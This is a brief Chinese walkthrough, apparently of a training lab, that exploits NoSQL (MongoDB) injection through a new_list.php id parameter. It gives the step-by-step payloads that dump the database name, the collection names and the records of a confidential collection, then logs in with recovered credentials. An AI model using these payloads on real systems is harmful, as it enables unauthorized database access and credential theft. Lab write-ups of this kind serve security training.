步骤⼀:构造回显测试
new_list.php?id=1'});return ({title:'1',content:'2
![](https://i-blog.csdnimg.cn/direct/03d67b975fb545a38b2ae0aedd6995a1.png)
步骤二:查看数据库
new_list.php?id=1'});return({title:tojson(db),content:'2
![](https://i-blog.csdnimg.cn/direct/5c1924c682a3475d97723fca5427221b.png)
步骤三:查看表名
new_list.php?id=1'});return({title:tojson(db.getCollectionNames()),content:'2
![](https://i-blog.csdnimg.cn/direct/dfe93c1952444a758c5f709a0c6caaec.png)
步骤四:查看表数据
new_list.php?id=1'});return({title:tojson(db.Authority_confidential.find()
[
1
]
),content:'2
步骤五:解密登录
username:mozhe
password:902621
![](https://i-blog.csdnimg.cn/direct/cf2f70fd78dc44aead15780a61b5c49e.png)